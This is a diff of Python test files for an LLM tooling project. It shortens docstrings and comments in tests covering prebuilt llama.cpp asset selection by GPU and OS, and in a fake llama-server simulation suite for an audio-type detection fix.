@@ -2800,9 +2751,7 @@ class TestLinuxPublishedAttemptsNvidiaCpuGate:
 
 
 class TestPublishedWindowsCudaAttemptsDynamicMajor:
-    """The published-path ordering seed is derived from the release's real
-    published minors, so a future CUDA major published here is selectable
-    instead of being hidden by a hardcoded cuda12/cuda13 seed."""
+    """The ordering seed is derived from the release's published minors, so a future CUDA major is selectable, not hidden by a hardcoded cuda12/cuda13 seed."""
 
     TAG = "b8508"
 
@@ -2820,9 +2769,8 @@ class TestPublishedWindowsCudaAttemptsDynamicMajor:
         return make_release(artifacts, upstream_tag = self.TAG)
 
     def test_future_cuda14_published_is_selected(self, monkeypatch):
-        # With the dynamic seed a 14.x driver reaches a published cuda14 build;
-        # the old hardcoded cuda12/cuda13 seed would never order it (the cuda14
-        # line would be skipped for want of a 14.x asset in the seed).
+        # The dynamic seed lets a 14.x driver reach a published cuda14 build; the old
+        # hardcoded cuda12/cuda13 seed would never order it.
         mock_windows_runtime(monkeypatch, ["cuda14", "cuda13", "cuda12"])
         release = self._release([("14.0", "cuda14"), ("13.3", "cuda13"), ("12.4", "cuda12")])
         host = make_host(
@@ -2836,7 +2784,7 @@ class TestPublishedWindowsCudaAttemptsDynamicMajor:
         assert result[0].name == f"llama-{self.TAG}-bin-win-cuda-14.0-x64.zip"
 
     def test_cuda13_minor_selected_for_13_3_driver(self, monkeypatch):
-        # Existing behavior unchanged: a 13.3 driver gets the real 13.3 build.
+        # A 13.3 driver gets the real 13.3 build.
         mock_windows_runtime(monkeypatch, ["cuda13", "cuda12"])
         release = self._release([("13.3", "cuda13"), ("12.4", "cuda12")])
         host = make_host(
@@ -2850,7 +2798,7 @@ class TestPublishedWindowsCudaAttemptsDynamicMajor:
         assert result[0].name == f"llama-{self.TAG}-bin-win-cuda-13.3-x64.zip"
 
     def test_below_minor_driver_gated_to_cuda12(self, monkeypatch):
-        # A 13.1 driver is gated off a published 13.3 and falls to cuda12.
+        # A 13.1 driver is gated off published 13.3 and falls to cuda12.
         mock_windows_runtime(monkeypatch, ["cuda13", "cuda12"])
         release = self._release([("13.3", "cuda13"), ("12.4", "cuda12")])
         host = make_host(
@@ -2869,8 +2817,7 @@ class TestPublishedWindowsCudaAttemptsDynamicMajor:
 
 
 class TestResolveReleaseAssetChoicePin:
-    """The manifest install path reaches the same b9360 Blackwell pin as the
-    filename path, with its verified hash threaded."""
+    """The manifest install path reaches the same b9360 Blackwell pin as the filename path, with its verified hash threaded."""
 
     TAG = "b8508"
 
@@ -2923,12 +2870,10 @@ class TestResolveReleaseAssetChoicePin:
         result = resolve_release_asset_choice(host, self.TAG, release, checksums)
         assert result[0].tag == "b9360"
         assert result[0].name == "llama-b9360-bin-win-cuda-13.1-x64.zip"
-        # apply_approved_hashes threaded the pin's verified hash from the
-        # augmented checksums (the pin survives the approved-hash gate).
+        # The pin survives the approved-hash gate with its verified hash threaded.
         assert result[0].expected_sha256 and len(result[0].expected_sha256) == 64
         assert result[0].runtime_sha256 and len(result[0].runtime_sha256) == 64
-        # The sm_120-incapable upstream cuda-12.4 zip is excluded on Blackwell
-        # rather than left behind the pin as a slow-path fallback.
+        # The sm_120-incapable upstream cuda-12.4 zip is excluded on Blackwell.
         assert not any(a.runtime_line == "cuda12" for a in result)
 
     def test_pin_dormant_on_published_path_for_13_3(self, monkeypatch):
@@ -2962,9 +2907,7 @@ class TestResolveReleaseAssetChoicePin:
 
 
 class TestPublishedWindowsCudaAppBundleSmSelection:
-    """app-named windows-cuda bundles carry no minor in the filename, so the
-    driver-minor gate is skipped. Selection must instead filter by SM coverage,
-    or every host gets the lowest-rank "older" bundle regardless of its GPU."""
+    """app-named windows-cuda bundles carry no minor, so the driver-minor gate is skipped; selection must filter by SM coverage instead of handing every host the lowest-rank "older" bundle."""
 
     TAG = "b9457"
 
@@ -2997,8 +2940,8 @@ class TestPublishedWindowsCudaAppBundleSmSelection:
         )
         result = published_windows_cuda_attempts(host, release, None)
         assert result, "expected a windows-cuda attempt for an sm120 host"
-        # The lowest-rank "older" bundle (max_sm 89) must not be chosen, and the
-        # tightest covering bundle is cuda12-newer (range 86-120).
+        # Not the lowest-rank "older" bundle (max_sm 89); the tightest covering bundle
+        # is cuda12-newer (range 86-120).
         assert result[0].name == f"app-{self.TAG}-windows-x64-cuda12-newer.zip"
 
     def _line(self, line, klass, rank):
@@ -3015,9 +2958,8 @@ class TestPublishedWindowsCudaAppBundleSmSelection:
         )
 
     def test_cuda13_reachable_on_driver_13_0(self, monkeypatch):
-        # app-named cuda13 bundles must be reachable on a 13.0 driver. The old
-        # synthetic '13.1' minor gate dropped the whole cuda13 line (13.1 > 13.0),
-        # so a cu13 host fell to cuda12. cuda13 is gated at the major level now.
+        # Regression: a synthetic '13.1' minor gate dropped the whole cuda13 line on a
+        # 13.0 driver; cuda13 app bundles are gated at the major level now.
         mock_windows_runtime(monkeypatch, ["cuda13", "cuda12"])
         release = make_release(
             [self._line("cuda12", "newer", 20), self._line("cuda13", "newer", 50)],
@@ -3035,11 +2977,9 @@ class TestPublishedWindowsCudaAppBundleSmSelection:
         assert result[0].name == f"app-{self.TAG}-windows-x64-cuda13-newer.zip"
 
     def test_app_bundle_offered_when_no_runtime_dll_detected(self, monkeypatch):
-        # Windows torch bundles cudart in torch/lib, which runtime-DLL probing
-        # misses, so detected_windows_runtime_lines() returns nothing. The app
-        # bundle ships its own runtime, so selection must fall back to the
-        # driver-derived order instead of yielding no attempt (which would drop
-        # the host to the upstream build).
+        # torch bundles cudart in torch/lib, which DLL probing misses, so detection
+        # returns nothing; the app bundle ships its own runtime, so selection must
+        # fall back to the driver-derived order rather than drop to the upstream build.
         mock_windows_runtime(monkeypatch, [])
         release = make_release(
             [self._line("cuda12", "newer", 20), self._line("cuda13", "newer", 50)],
@@ -3057,9 +2997,7 @@ class TestPublishedWindowsCudaAppBundleSmSelection:
 
 
 class TestPublishedRocmGfxSelection:
-    """Published ROCm bundles are matched by the host's detected gfx family, not
-    by rank -- rank ties would alphabetically hand every AMD GPU the gfx103X
-    bundle (e.g. a gfx1151 Strix Halo host)."""
+    """Published ROCm bundles match by detected gfx family, not rank -- rank ties would alphabetically hand every AMD GPU the gfx103X bundle."""
 
     GFX = ["gfx103X", "gfx110X", "gfx120X", "gfx1150", "gfx1151"]
     MEMBERS = {
@@ -3135,8 +3073,8 @@ class TestPublishedRocmGfxSelection:
         )
 
     def test_in_prefix_but_unbuilt_arch_returns_none(self):
-        # gfx1033 shares the gfx103 prefix but is not in any bundle's
-        # mapped_targets, so it must fall back to source, not be served gfx103X.
+        # gfx1033 shares the gfx103 prefix but isn't in any bundle's mapped_targets, so
+        # it must fall back to source, not be served gfx103X.
         release = self._release("linux-rocm", "app-b9457-linux-x64-rocm")
         for unbuilt in ("gfx1033", "gfx1035", "gfx1104", "gfx1202"):
             assert (
@@ -3147,10 +3085,8 @@ class TestPublishedRocmGfxSelection:
             ), unbuilt
 
     def test_family_token_matches_family_bundle(self):
-        # The llama.cpp update path re-derives --rocm-gfx from the family-named
-        # marker asset, so it forwards a family token (gfx110X, lowercased to
-        # gfx110x by _normalize_forwarded_gfx), not a concrete arch. That must
-        # still select the family bundle instead of falling to a source build.
+        # The update path forwards a family token (gfx110X, lowercased to gfx110x), not
+        # a concrete arch; it must still select the family bundle, not source-build.
         release = self._release("linux-rocm", "app-b9457-linux-x64-rocm")
         for token in ("gfx110X", "gfx110x"):
             choice = INSTALL_LLAMA_PREBUILT.published_rocm_choice_for_host(
@@ -3160,8 +3096,8 @@ class TestPublishedRocmGfxSelection:
             assert choice.name == "app-b9457-linux-x64-rocm-gfx110X.tar.gz", token
 
     def test_windows_family_token_matches_family_bundle(self):
-        # The Windows update path forwards the same family token (gfx120X) for a
-        # windows-rocm bundle, so the family-label match must cover it too.
+        # The Windows update path forwards the same family token (gfx120X), so the
+        # family-label match must cover windows-rocm too.
         release = self._release("windows-rocm", "app-b9457-windows-x64-rocm")
         choice = INSTALL_LLAMA_PREBUILT.published_rocm_choice_for_host(
             release, self._host("gfx120x"), "windows-rocm"
@@ -3171,9 +3107,7 @@ class TestPublishedRocmGfxSelection:
 
 
 class TestPublishedMacosForkSelection:
-    """macOS now routes to the fork (setup.sh), which ships
-    llama-<tag>-bin-macos-<arch>.tar.gz with pinned deployment targets, selected
-    by install_kind."""
+    """macOS routes to the fork's llama-<tag>-bin-macos-<arch>.tar.gz, selected by install_kind."""
 
     def _release(self):
         arts = [
@@ -3224,7 +3158,7 @@ class TestPublishedMacosForkSelection:
 
 
 class TestApplyApprovedHashesRuntimePair:
-    """Runtime archive must inherit a manifest hash, or be dropped."""
+    """Runtime archive inherits a manifest hash, or is dropped."""
 
     TAG = "b8508"
 
@@ -3456,8 +3390,7 @@ def _macos_host(machine = "arm64", version = (15, 5)):
 
 
 class TestPinnedMacosReleaseTag:
-    """pinned_macos_release_tag: pin b9415 only for ggml-org upstream macOS hosts
-    below macOS 26; latest (None) for 26+, unknown version, the fork, non-macOS."""
+    """pinned_macos_release_tag: pin b9415 for ggml-org upstream macOS below 26; None (latest) for 26+, unknown version, the fork, non-macOS."""
 
     def test_arm64_sequoia_pins_b9415(self):
         host = _macos_host("arm64", (15, 5))
@@ -3468,7 +3401,7 @@ class TestPinnedMacosReleaseTag:
         assert pinned_macos_release_tag(host, UPSTREAM_REPO) == "b9415"
 
     def test_x64_ventura_13_3_pins_b9415(self):
-        # b9415's Intel slice is minos 13.3, so 13.3 Intel hosts still load it.
+        # b9415's Intel slice is minos 13.3, so 13.3 Intel hosts load it.
         host = _macos_host("x86_64", (13, 3))
         assert pinned_macos_release_tag(host, UPSTREAM_REPO) == "b9415"
 
@@ -3485,7 +3418,7 @@ class TestPinnedMacosReleaseTag:
         assert pinned_macos_release_tag(host, UPSTREAM_REPO) is None
 
     def test_fork_repo_is_dormant(self):
-        # The unslothai/llama.cpp fork publishes its own minos-13.3 prebuilts.
+        # The fork publishes its own minos-13.3 prebuilts.
         host = _macos_host("arm64", (15, 5))
         fork = INSTALL_LLAMA_PREBUILT.DEFAULT_PUBLISHED_REPO
         assert pinned_macos_release_tag(host, fork) is None
@@ -3496,9 +3429,7 @@ class TestPinnedMacosReleaseTag:
 
 
 class TestResolveSimpleMacosPin:
-    """End to end on the simple/upstream path macOS actually uses: a pre-26 host
-    deterministically resolves b9415 (no walk-back); a macOS 26 host takes the
-    latest release. Mirrors how setup.sh routes Darwin to ggml-org/llama.cpp."""
+    """Simple/upstream path: a pre-26 host resolves b9415 (no walk-back); a macOS 26 host takes the latest release."""
 
     TAGS = ["b9442", "b9430", "b9428", "b9415"]  # newest-first feed
 
@@ -3523,7 +3454,7 @@ class TestResolveSimpleMacosPin:
             requested_tag = "",
         ):
             calls.append((repo, published_release_tag, requested_tag))
-            # Emulate the real iterator: a specific tag yields only that release.
+            # Real iterator: a specific tag yields only that release.
             if requested_tag and requested_tag != "latest":
                 yield _release(requested_tag)
                 return
@@ -3547,7 +3478,7 @@ class TestResolveSimpleMacosPin:
         assert plans[0].attempts[0].name == "llama-b9415-bin-macos-arm64.tar.gz"
         # The pin overrode the requested tag before any release was fetched.
         assert calls[0][2] == "b9415"
-        # Simple/upstream path stays unverified-by-manifest, exactly as before.
+        # Simple/upstream path stays unverified-by-manifest.
         assert plans[0].approved_checksums.artifacts == {}
 
     def test_tahoe_host_takes_latest_release(self, monkeypatch):
@@ -3558,7 +3489,7 @@ class TestResolveSimpleMacosPin:
         )
         assert requested_tag == "latest"
         assert plans[0].release_tag == "b9442"
-        # No pin: the iterator was asked for latest, not a specific tag.
+        # No pin: the iterator was asked for latest.
         assert calls[0][2] == "latest"
 
 
@@ -3568,14 +3499,10 @@ class TestResolveSimpleMacosPin:
 
 
 class TestLinuxArm64ForkFallsBackToSource:
-    """The fork now ships linux-arm64-cuda bundles (GH200/GB200/DGX Spark). An
-    arm64 Linux host on the fork no longer hard-fails on the simple path; it
-    delegates to the manifest-aware resolver, which selects the arm64 CUDA
-    bundle (or falls back to source only if none matches)."""
+    """The fork ships linux-arm64-cuda bundles; an arm64 Linux fork host delegates to the manifest-aware resolver (arm64 CUDA bundle, or source if none matches) instead of hard-failing."""
 
     def test_arm64_nvidia_fork_delegates_to_manifest_resolver(self, monkeypatch):
-        # arm64 fork hosts are no longer blocked up front; the simple resolver
-        # hands them to the manifest-aware resolver instead.
+        # arm64 fork hosts are no longer blocked up front; routed to the manifest resolver.
         called = {}
 
         def _full(llama_tag, host, repo, tag, **_kw):
@@ -3589,9 +3516,8 @@ class TestLinuxArm64ForkFallsBackToSource:
         assert plans == ["plan"]
 
     def test_x86_64_fork_delegates_to_manifest_resolver(self, monkeypatch):
-        # The old linux-x64 arch guard is gone: an x64 fork host is routed to the
-        # manifest resolver exactly like every other fork host, not down a
-        # separate filename-parsing path.
+        # The old linux-x64 arch guard is gone: x64 fork hosts route to the manifest
+        # resolver like every other fork host, not a separate filename-parsing path.
         called = {}
 
         def _full(llama_tag, host, repo, tag, **_kw):
@@ -3605,8 +3531,8 @@ class TestLinuxArm64ForkFallsBackToSource:
         assert plans == ["plan"]
 
     def test_arm64_cpu_on_ggml_org_is_not_blocked(self, monkeypatch):
-        # CPU-only arm64 routes to ggml-org (not the fork), so the guard must not
-        # fire; it reaches the iterator (empty here -> generic message).
+        # CPU-only arm64 routes to ggml-org, so the guard must not fire; it reaches the
+        # iterator (empty here -> generic message).
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_release_payloads_by_time",
@@ -3632,9 +3558,7 @@ class TestLinuxArm64ForkFallsBackToSource:
 
 
 class TestCpuFallback:
-    """--cpu-fallback drops GPU attributes so the CPU prebuilt for the host's
-    OS/arch is selected, letting an arm64 GPU host install ggml-org's arm64 CPU
-    build as a last resort when its source build produced no binary."""
+    """--cpu-fallback drops GPU attributes so the host's OS/arch CPU prebuilt is selected, letting an arm64 GPU host install ggml-org's arm64 CPU build when its source build produced no binary."""
 
     _SETUP_SH = PACKAGE_ROOT / "studio" / "setup.sh"
 
@@ -3661,8 +3585,7 @@ class TestCpuFallback:
             "resolve_simple_install_release_plans",
             _capture,
         )
-        # install_prebuilt exits EXIT_FALLBACK on PrebuiltFallback; we only care
-        # about the host it handed to the resolver before that.
+        # We only care about the host handed to the resolver before the fallback exit.
         with pytest.raises(SystemExit):
             INSTALL_LLAMA_PREBUILT.install_prebuilt(
                 install_dir = tmp_path / "llama",
@@ -3693,12 +3616,12 @@ class TestCpuFallback:
                 },
             ],
         }
-        # A GPU arm64 host cannot pick the CPU arm64 bundle on its own.
+        # A GPU arm64 host can't pick the CPU arm64 bundle on its own.
         with pytest.raises(PrebuiltFallback):
             direct_upstream_release_plan(
                 release, self._arm64_nvidia(), "ggml-org/llama.cpp", "latest"
             )
-        # force_cpu drops the GPU attributes, so the CPU arm64 bundle is selected.
+        # force_cpu drops GPU attributes, so the CPU arm64 bundle is selected.
         cpu_host = make_host(
             system = "Linux",
             machine = "aarch64",
@@ -3715,8 +3638,8 @@ class TestCpuFallback:
     def test_setup_sh_has_arm64_cpu_prebuilt_fallback(self):
         source = self._SETUP_SH.read_text(encoding = "utf-8")
         assert "--cpu-fallback" in source
-        # Fallback targets ggml-org (the only repo with an arm64 Linux build) and
-        # is gated on a degraded source build for arm64.
+        # Fallback targets ggml-org (only repo with an arm64 Linux build), gated on a
+        # degraded arm64 source build.
         assert "ggml-org/llama.cpp" in source
         assert "_LLAMA_CPP_DEGRADED" in source
 
@@ -4089,7 +4012,7 @@ class TestCudaDriverToolkitMismatchMessage:
         assert "FOUND" not in output
 
     def _cuda_build_decision_output(self, *, nvcc_path, driver):
-        # Mirror setup.sh's source-build decision: keep the toolkit, switch, or degrade to CPU.
+        # Mirror setup.sh's source-build decision: keep toolkit, switch, or degrade to CPU.
         script = textwrap.dedent(
             f"""\
             set -euo pipefail
diff --git a/tests/studio/load_freeze/llama_server_shim.py b/tests/studio/load_freeze/llama_server_shim.py
index 4030fcd6c4..a6efce95b9 100644
--- a/tests/studio/load_freeze/llama_server_shim.py
+++ b/tests/studio/load_freeze/llama_server_shim.py
@@ -1,10 +1,4 @@
-"""Fake llama-server for simulation tests.
-
-Knobs: tok_status / tok_body / tok_reset / tok_response_map and the
-matching detok_* set let tests inject every failure mode for the
-audio-type probe (timeouts, partial bodies, malformed JSON, codec
-marker hits).
-"""
+"""Fake llama-server: tok_*/detok_* knobs inject failure modes for the audio-type probe."""
 
 from __future__ import annotations
 
@@ -54,8 +48,7 @@ class _Handler(BaseHTTPRequestHandler):
         self.wfile.write(body)
 
     def _send_reset(self, partial: bytes) -> None:
-        """Write a partial body and slam the connection. Simulates a
-        crashed llama-server returning a RemoteProtocolError to httpx."""
+        """Write a partial body and drop the connection (simulates a crashed server)."""
         # Don't call send_response -- write a half-finished response.
         try:
             self.wfile.write(
@@ -66,7 +59,7 @@ class _Handler(BaseHTTPRequestHandler):
         except Exception:
             pass
         try:
-            # Use socket-level shutdown so the next read sees a reset.
+            # Socket-level shutdown so the next read sees a reset.
             sock = self.connection
             sock.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, b"\1\0\0\0\0\0\0\0")
             sock.close()
@@ -107,10 +100,8 @@ class _Handler(BaseHTTPRequestHandler):
                 self._send_raw(srv.config.tok_status, srv.config.tok_body)
                 return
             content = str(body.get("content", ""))
-            # tok_response_map lets the test inject a specific token count
-            # for a specific input text. Used to synthesise "this text
-            # tokenises to exactly one token" for the csm / bicodec / dac
-            # detection branches.
+            # tok_response_map injects a token count per input text (e.g. the
+            # one-token cases for csm / bicodec / dac detection branches).
             if content in srv.config.tok_response_map:
                 tokens = list(srv.config.tok_response_map[content])
             else:
@@ -199,8 +190,7 @@ class FakeLlamaServer:
         detok_body: Optional[bytes] = None,
         detok_map: Optional[dict] = None,
         completion_delay: float = 0.0,
-        # Cosmetic: appears in the stdout template only; production
-        # code under test does not parse this.
+        # Cosmetic: only appears in the stdout template; not parsed.
         model_path: str = "<test-fixture>/gemma-4.gguf",
     ) -> None:
         self.host = host
@@ -224,8 +214,7 @@ class FakeLlamaServer:
         self._thread: Optional[threading.Thread] = None
 
     def start(self) -> "FakeLlamaServer":
-        # port=0 lets ThreadingHTTPServer pick a free port atomically (no
-        # find-then-bind race); read back via server_address[1].
+        # port=0 lets the server pick a free port atomically (no find-then-bind race).
         self._server = FakeLlamaServer._Server((self.host, self._requested_port), _Handler)
         self._server.config = self.config
         bound_port = self._server.server_address[1]
diff --git a/tests/studio/load_freeze/test_load_orchestrator.py b/tests/studio/load_freeze/test_load_orchestrator.py
index d091e56e70..64503d0e05 100644
--- a/tests/studio/load_freeze/test_load_orchestrator.py
+++ b/tests/studio/load_freeze/test_load_orchestrator.py
@@ -1,21 +1,4 @@
-"""Comprehensive simulation suite for the #5642 fix.
-
-Covers:
-  1.  Behavioural canary (the bug class)             — 2 tests
-  2.  Behavioural fix-validation                     — 1 test
-  3.  Functional equivalence (sync == to_thread)     — 6 tests, one per codec branch
-  4.  Failure modes (HTTP 500, malformed JSON,
-      connection reset, unreachable, not-loaded)     — 5 tests
-  5.  Stress (50 concurrent probes / 100 healths)    — 2 tests
-  6.  Drift / regression guards                      — 3 tests
-  7.  Timing budgets                                 — 1 test
-
-Designed to run from inside ``temp/sim/`` after ``uv venv`` + minimal
-``uv pip install`` of pytest/httpx/fastapi/uvicorn/anyio. Resolves
-``studio/backend`` automatically by walking up from this file looking
-for the workspace clone of ``unslothai/unsloth`` (search order: this
-dir's parents → ``../../unsloth`` → ``UNSLOTH_REPO_ROOT`` env var).
-"""
+"""Simulation suite for the #5642 fix (sync detect_audio_type blocking the event loop)."""
 
 from __future__ import annotations
 
@@ -34,8 +17,6 @@ import pytest
 
 
 # Repo discovery
-
-
 def _find_repo_root() -> Path | None:
     env = os.environ.get("UNSLOTH_REPO_ROOT")
     if env:
@@ -78,8 +59,6 @@ from llama_server_shim import FakeLlamaServer  # noqa: E402
 
 
 # Fixtures / helpers
-
-
 def _make_backend(port: int, *, loaded: bool = True) -> LlamaCppBackend:
     b = LlamaCppBackend.__new__(LlamaCppBackend)
     b._port = port
@@ -205,8 +184,6 @@ def _drive_concurrent_probe_and_health(
 
 
 # (1) Behavioural canary
-
-
 def test_buggy_route_blocks_event_loop():
     """Sync detect_audio_type call inside async route stalls /health."""
     with FakeLlamaServer(tok_delay = 0.6, detok_delay = 0.6) as shim:
@@ -234,20 +211,13 @@ def test_fixed_route_keeps_event_loop_responsive():
 
 
 # (2) Functional equivalence -- sync == to_thread for each codec branch
-
-
 @pytest.fixture
 def shim_no_match():
-    """A shim whose responses make detect_audio_type fall through every
-    codec branch and return None."""
+    """Shim whose responses make detect_audio_type fall through every codec branch -> None."""
     with FakeLlamaServer(
-        # detok responds with a 1-char unique string per tid -> doesn't
-        # start with "<custom_token_" so snac branch fails.
+        # detok strings don't start with "<custom_token_" so snac branch fails.
         detok_map = {128258: "abc", 128259: "def"},
-        # tokenize responds with len-of-words tokens, which is always
-        # 1 for single-word inputs so we need >1 token for the codec
-        # branches NOT to match. Map every audio probe text to a 2-token
-        # response so all `len(_tok(...)) == 1` checks fail.
+        # 2-token responses make every `len(_tok(...)) == 1` codec check fail.
         tok_response_map = {
             "<|AUDIO|>": [0, 1],
             "<|audio_eos|>": [0, 1],
@@ -271,8 +241,7 @@ def test_functional_equivalence_no_match(shim_no_match):
 
 
 def test_functional_equivalence_snac_match():
-    # snac match requires _detok(128258) AND _detok(128259) to start
-    # with "<custom_token_".
+    # snac: both _detok(128258) and _detok(128259) start with "<custom_token_".
     with FakeLlamaServer(
         detok_map = {128258: "<custom_token_99>", 128259: "<custom_token_98>"}
     ) as srv:
@@ -284,8 +253,7 @@ def test_functional_equivalence_snac_match():
 
 
 def test_functional_equivalence_csm_match():
-    # csm match: _tok("<|AUDIO|>") == 1 token AND _tok("<|audio_eos|>") == 1 token.
-    # Also snac match must fail first.
+    # csm: snac fails, then both <|AUDIO|> and <|audio_eos|> are 1 token.
     with FakeLlamaServer(
         detok_map = {128258: "non-snac", 128259: "non-snac"},
         tok_response_map = {"<|AUDIO|>": [0], "<|audio_eos|>": [0]},
@@ -298,7 +266,7 @@ def test_functional_equivalence_csm_match():
 
 
 def test_functional_equivalence_whisper_match():
-    # whisper: snac fails, csm fails, then _tok("<|startoftranscript|>") == 1
+    # whisper: snac/csm fail, then <|startoftranscript|> is 1 token.
     with FakeLlamaServer(
         detok_map = {128258: "non-snac", 128259: "non-snac"},
         tok_response_map = {
@@ -315,10 +283,8 @@ def test_functional_equivalence_whisper_match():
 
 
 def test_functional_equivalence_audio_vlm_match():
-    # audio_vlm: snac/csm/whisper fail first, then the Gemma 4 <|audio|>
-    # probe tokenises to a single token. #6000 added this arm alongside
-    # Gemma 3n's <audio_soft_token>; keep <audio_soft_token> at 2 tokens so
-    # it is specifically the new <|audio|> arm that triggers the match.
+    # audio_vlm: snac/csm/whisper fail, then the Gemma 4 <|audio|> arm (#6000)
+    # tokenises to 1 token while <audio_soft_token> stays 2 to isolate it.
     with FakeLlamaServer(
         detok_map = {128258: "non-snac", 128259: "non-snac"},
         tok_response_map = {
@@ -337,8 +303,7 @@ def test_functional_equivalence_audio_vlm_match():
 
 
 def test_functional_equivalence_bicodec_match():
-    # bicodec: snac/csm/whisper/audio_vlm all fail first, then both
-    # bicodec_semantic_0 and bicodec_global_0 are single tokens.
+    # bicodec: all prior branches fail, then bicodec_semantic_0/global_0 are 1 token.
     with FakeLlamaServer(
         detok_map = {128258: "non-snac", 128259: "non-snac"},
         tok_response_map = {
@@ -359,25 +324,19 @@ def test_functional_equivalence_bicodec_match():
 
 
 # (3) Failure modes
-
-
 def test_shim_returns_500_on_tokenize_returns_none():
-    """detect_audio_type's `r.status_code == 200` check filters out
-    non-200 responses; the function gracefully falls through and
-    returns None. Both sync and threaded paths see identical behaviour."""
+    """Non-200 responses fall through to None on both sync and threaded paths."""
     with FakeLlamaServer(
         detok_map = {128258: "non-snac", 128259: "non-snac"},
         tok_status = 500,
     ) as srv:
         backend = _make_backend(srv.port)
-        # Sync
         assert backend.detect_audio_type() is None
-        # Threaded
         assert asyncio.run(asyncio.to_thread(backend.detect_audio_type)) is None
 
 
 def test_shim_returns_malformed_json_returns_none():
-    """detect_audio_type's outer try/except catches r.json() failures."""
+    """Outer try/except catches r.json() failures."""
     with FakeLlamaServer(
         detok_map = {128258: "non-snac", 128259: "non-snac"},
         tok_body = b"{this is not json",
@@ -388,8 +347,7 @@ def test_shim_returns_malformed_json_returns_none():
 
 
 def test_shim_connection_reset_returns_none():
-    """Connection drops mid-response (RemoteProtocolError / ReadError)
-    must be caught by detect_audio_type's outer try/except."""
+    """Mid-response connection drop (RemoteProtocolError / ReadError) is caught."""
     with FakeLlamaServer(
         detok_map = {128258: "non-snac", 128259: "non-snac"},
         tok_reset = True,
@@ -400,16 +358,14 @@ def test_shim_connection_reset_returns_none():
 
 
 def test_unreachable_port_returns_none():
-    """Pointing the backend at a port nothing is listening on triggers
-    httpx.ConnectError. detect_audio_type's try/except swallows it."""
+    """ConnectError on a dead port is swallowed -> None."""
     backend = _make_backend(_free_port())  # nothing listening
     assert backend.detect_audio_type() is None
     assert asyncio.run(asyncio.to_thread(backend.detect_audio_type)) is None
 
 
 def test_backend_not_loaded_short_circuits():
-    """is_loaded=False -> detect_audio_type returns None without doing
-    any network I/O. Confirm sub-millisecond on both paths."""
+    """is_loaded=False short-circuits to None with no network I/O (sub-ms both paths)."""
     backend = _make_backend(_free_port(), loaded = False)
     t0 = time.perf_counter()
     sync = backend.detect_audio_type()
@@ -423,11 +379,8 @@ def test_backend_not_loaded_short_circuits():
 
 
 # (4) Stress / concurrency
-
-
 def test_50_concurrent_probes_complete_without_deadlock():
-    """Fire 50 /probe calls in parallel against a fast shim. Threadpool
-    must not deadlock; route handler must not lock or serialise."""
+    """50 parallel /probe calls must not deadlock or serialise."""
     with FakeLlamaServer(tok_delay = 0.05, detok_delay = 0.05) as shim:
         backend = _make_backend(shim.port)
         app = _build_app(backend, wrap_in_thread = True)
@@ -444,18 +397,14 @@ def test_50_concurrent_probes_complete_without_deadlock():
                 results = [f.result(60.0) for f in futs]
             elapsed = time.perf_counter() - t0
     assert all(r.status_code == 200 for r in results)
-    # 50 probes at ~0.4s each, threadpool size 32 default -> ~1-2 batches.
-    # Bound generously to absorb CI jitter while catching pathological
-    # serialisation (would be ~20s).
+    # Generous bound absorbs CI jitter but still catches serialisation (~20s).
     assert (
         elapsed < 15.0
     ), f"50 concurrent probes took {elapsed:.1f}s; threadpool may be serialising"
 
 
 def test_100_concurrent_healths_during_slow_probe_all_responsive():
-    """Heavier version of the canary: 100 /health requests across 8
-    worker threads during a slow /probe. With the fix, max latency
-    stays bounded; without the fix, requests pile up."""
+    """100 /health across 8 threads during a slow /probe: latency stays bounded with the fix."""
     with FakeLlamaServer(tok_delay = 0.4, detok_delay = 0.4) as shim:
         backend = _make_backend(shim.port)
         app = _build_app(backend, wrap_in_thread = True)
@@ -478,7 +427,7 @@ def test_100_concurrent_healths_during_slow_probe_all_responsive():
 
             with ThreadPoolExecutor(max_workers = 9) as pool:
                 probe_f = pool.submit(probe)
-                time.sleep(0.05)  # let probe enter detect_audio_type
+                time.sleep(0.05)  # let probe enter detect_audio_type first
                 health_fs = [pool.submit(health_burst, 13) for _ in range(8)]
                 assert probe_f.result(60.0) == 200
                 latencies = [x for f in health_fs for x in f.result(60.0)]
@@ -488,25 +437,16 @@ def test_100_concurrent_healths_during_slow_probe_all_responsive():
 
 
 # (5) Drift / regression guards on the production source
-
-
 def test_load_model_caches_audio_type_inside_serial_load_lock():
-    """The audio-type detection (and codec init, where applicable) must
-    happen inside ``LlamaCppBackend.load_model`` so the full load
-    sequence is atomic under ``_serial_load_lock``. Running it from the
-    route opens a race where a concurrent /load can replace the backend
-    mid-probe (gemini-code-assist review on #5669)."""
+    """Audio-type detection must run inside load_model under _serial_load_lock,
+    else a concurrent /load can replace the backend mid-probe (review on #5669)."""
     f = _REPO_ROOT / "studio" / "backend" / "core" / "inference" / "llama_cpp.py"
     text = f.read_text()
-    # The lock must be acquired.
     assert (
         "with self._serial_load_lock" in text
     ), "LlamaCppBackend.load_model must hold self._serial_load_lock"
-    # The cache writes must be present. The strict variant
-    # `_detect_audio_type_strict` was added in the chatgpt-codex
-    # P2 3284185168 follow-up to distinguish definitive non-audio
-    # from transient probe failure; either call shape satisfies
-    # the static guard.
+    # Either call shape satisfies the guard; _detect_audio_type_strict was a
+    # follow-up to distinguish definitive non-audio from transient probe failure.
     assert (
         "self._audio_type = self.detect_audio_type()" in text
         or "detected = self.detect_audio_type()" in text
@@ -519,11 +459,8 @@ def test_load_model_caches_audio_type_inside_serial_load_lock():
 
 
 def test_routes_inference_reads_cached_audio_type_not_calls_detect():
-    """Static guard: routes/inference.py must NOT call
-    ``llama_backend.detect_audio_type`` or
-    ``llama_backend.init_audio_codec`` directly any more -- both moved
-    inside ``LlamaCppBackend.load_model`` under the lock. The route
-    reads the cached ``_audio_type`` / ``_is_audio`` attributes."""
+    """routes/inference.py must read cached _audio_type/_is_audio, not call
+    detect_audio_type / init_audio_codec directly (both moved into load_model)."""
     f = _REPO_ROOT / "studio" / "backend" / "routes" / "inference.py"
     text = f.read_text()
     assert "llama_backend.detect_audio_type(" not in text, (
@@ -534,38 +471,29 @@ def test_routes_inference_reads_cached_audio_type_not_calls_detect():
         "routes/inference.py should not call init_audio_codec directly; "
         "load_model already invoked it under the lock when audio_type was a TTS codec."
     )
-    # Verify the route DOES read the cached values somewhere.
+    # Route must read the cached values.
     assert "llama_backend._audio_type" in text
     assert "llama_backend._is_audio" in text
 
 
 def test_no_other_async_route_calls_detect_audio_type_unwrapped():
